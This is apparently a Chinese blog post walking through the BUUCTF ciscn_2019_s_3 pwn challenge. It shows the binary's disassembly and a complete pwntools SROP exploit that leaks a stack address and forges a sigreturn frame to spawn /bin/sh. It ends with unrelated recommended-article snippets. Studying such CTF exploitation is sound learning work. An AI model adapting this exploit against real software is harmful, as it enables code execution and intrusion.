SROP
先放个例题吧,原理后面有时间再更:BUUCTF ciscn_2019_s_3
保护只开了nx
1 signed __int64 vuln()
2 {
3 signed __int64 v0; // rax
4 char buf[16]; // [rsp+0h] [rbp-10h] BYREF
5
6 v0 = sys_read(0, buf, 0x400uLL);
7 return sys_write(1u, buf, 0x30uLL);
8 }
1 .text:00000000004004ED vuln proc near ; CODE XREF: main+14↓p
2 .text:00000000004004ED
3 .text:00000000004004ED buf = byte ptr -10h
4 .text:00000000004004ED
5 .text:00000000004004ED ; __unwind {
6 .text:00000000004004ED push rbp
7 .text:00000000004004EE mov rbp, rsp
8 .text:00000000004004F1 xor rax, rax
9 .text:00000000004004F4 mov edx, 400h ; count
10 .text:00000000004004F9 lea rsi, [rsp+buf] ; buf
11 .text:00000000004004FE mov rdi, rax ; fd
12 .text:0000000000400501 syscall ; LINUX - sys_read
13 .text:0000000000400503 mov rax, 1
14 .text:000000000040050A mov edx, 30h ; '0' ; count
15 .text:000000000040050F lea rsi, [rsp+buf] ; buf
16 .text:0000000000400514 mov rdi, rax ; fd
17 .text:0000000000400517 syscall ; LINUX - sys_write
18 .text:0000000000400519 retn
1 .text:00000000004004D6 gadgets proc near
2 .text:00000000004004D6 ; __unwind {
3 .text:00000000004004D6 push rbp
4 .text:00000000004004D7 mov rbp, rsp
5 .text:00000000004004DA mov rax, 0Fh
6 .text:00000000004004E1 retn
7 .text:00000000004004E1 gadgets endp ; sp-analysis failed
8 .text:00000000004004E1
很明显的SROP,要上课了,先把exp放出来吧
1 from pwn import *
2 context.log_level='debug'
3 context.arch='amd64'
4
5 s=process('./1')
6
7 read=0x4004F1
8 syscall_ret=0x400517
9 mov_rax_0xf=0x4004DA
10
11
12 payload=b'/bin/sh\x00aaaaaaaa'+p64(read)
13 s.sendline(payload)
14
15 s.recv(32)
16 bin_sh_addr=u64(s.recv(8))-0x118
17
18 sigframe=SigreturnFrame()
19 sigframe.rax=constants.SYS_execve#0x3b
20 sigframe.rdi=bin_sh_addr
21 sigframe.rip=syscall_ret
22
23 payload=b'a'*0x10+p64(mov_rax_0xf)+p64(syscall_ret)+bytes(sigframe)
24 s.send(payload)
25
26 s.interactive()
SROP的更多相关文章
- srop实战
前言 srop 的作用比较强,在条件允许的情况下,尽量使用它.题目来自于 i春秋的一个比赛. 题目链接: https://gitee.com/hac425/blog_data/blob/master/ ...
- SROP例题
具体攻击原理可以参考安全客这篇文章:入口 刚学了一点,也是懵懵懂懂的,拿几道题来练练手. ciscn_2019_es_7 64位程序,只开启了NX保护. 相当于执行了read(0,buf,0x400) ...
- SROP的一个实例
以前一直只是大概看过这种技术,没实践过,今天刚好遇到一道题,实践了一波,确实很方便 unmoxiao@cat ~/s/pd_ubuntu> r2 -A smallest 00:54:15 War ...
- PetaPoco4.0的事务为什么不会回滚
using (var srop=DbHelper.CurrentDb.GetTransaction()) { ID = bp.AddModel(model).ToStr(); #region 参与楼盘 ...
- 套题T7
P4712 铺瓷砖 时间: 1000ms / 空间: 65536KiB / Java类名: Main 描述
- pwntools简介
安装binutils: git clone https://github.com/Gallopsled/pwntools-binutils sudo apt-get install software- ...
- 2.oracle之用户管理sql
--创建用户--create user 用户名 identified by 密码;create user jojo identified by bean; --给用户授权--grant conn ...
- mysql grep database error(cannot rmdir /dbname)
service mysql stop cd /var/lib/mysql/dbname rm -rf .fmr rm -rf .txt service mysql start srop databas ...
- 使用jdk进行数据迁移(sqlite迁移mysql)
直接粘贴代码 注意:rewriteBatchedStatements=true(加快连接速度) package com.wbg; import org.omg.Messaging.SYNC_WITH_ ...
随机推荐
- [JAVA]动态代理与AOP的千丝万缕
动态代理与AOP的联系 别的不说,直接上图 首先是AOP切面编程 什么是切面?(自己心里想想就ok)所以所谓的切面编程,你也就懂得大体了,只是这个被切的是个程序而已 那么AOP与动态代理有什么关系呢? ...
- Shell学习(六)——条件判断总结
Shell学习(六)--条件判断总结 [1]https://www.cnblogs.com/zhw-626/p/8528001.html [2]https://www.cnblogs.com/yizh ...
- JpaRepository 增删改查
Jpa查询 JpaRepository简单查询 基本查询也分为两种,一种是spring data默认已经实现,一种是根据查询的方法来自动解析成SQL. 预先生成方法 spring data jpa 默 ...
- 【Java 8】Optional 使用
一.前言 如果要给 Java 所有异常弄个榜单,我会选择将 NullPointerException 放在榜首.这个异常潜伏在代码中,就像个遥控炸弹,不知道什么时候这个按钮会被突然按下(传入 null ...
- 索引以及Mysql中的索引
一.什么是索引 索引是表的目录,会保存在额外的文件中,针对表中的指定列建立,专门用于帮助用户快速查询数据的一种数据结构.类似于字典中的目录,查找字典内容时可以根据目录查找到数据的存放位置,然后直接获取 ...
- Quartz使用AutoFac依赖注入问题小结
theme: channing-cyan highlight: a11y-dark 背景 最近在做一个需求,就是在Job中捕捉异常,然后通过邮件或者消息的方式推送给指定人员,在需求实现的过程中遇到的一 ...
- Java动态脚本Groovy,高级啊!
前言:请各大网友尊重本人原创知识分享,谨记本人博客:南国以南i 简介: Groovy是用于Java虚拟机的一种敏捷的动态语言,它是一种成熟的面向对象编程语言,既可以用于面向对象编程,又可以用作纯粹的脚 ...
- shell脚本 安全删除MySQL大表
一.简介 源码地址 日期:2018/4/12 介绍:工具用于安全删除MySQL表,对于一些特定场景可能有用 应用场景:大批删除不走索引但是有主键的场景[可以是单列索引,也可是多列索引] 实现思路:根据 ...
- dart系列之:实时通讯,在浏览器中使用WebSockets
目录 简介 dart:html中的WebSockets 创建一个WebSocket WebSocket的状态 发送消息 处理WebSocket事件 总结 简介 web客户端和服务器端通信有两种方式,一 ...
- [BUUCTF]PWN——bjdctf_2020_babyrop
bjdctf_2020_babyrop[64位libc泄露] 题目附件 解题步骤: 例行检查,64位程序,开启了NX保护 试运行一下程序,看看大概的情况,看提示,应该是道泄露libc的题目 64位id ...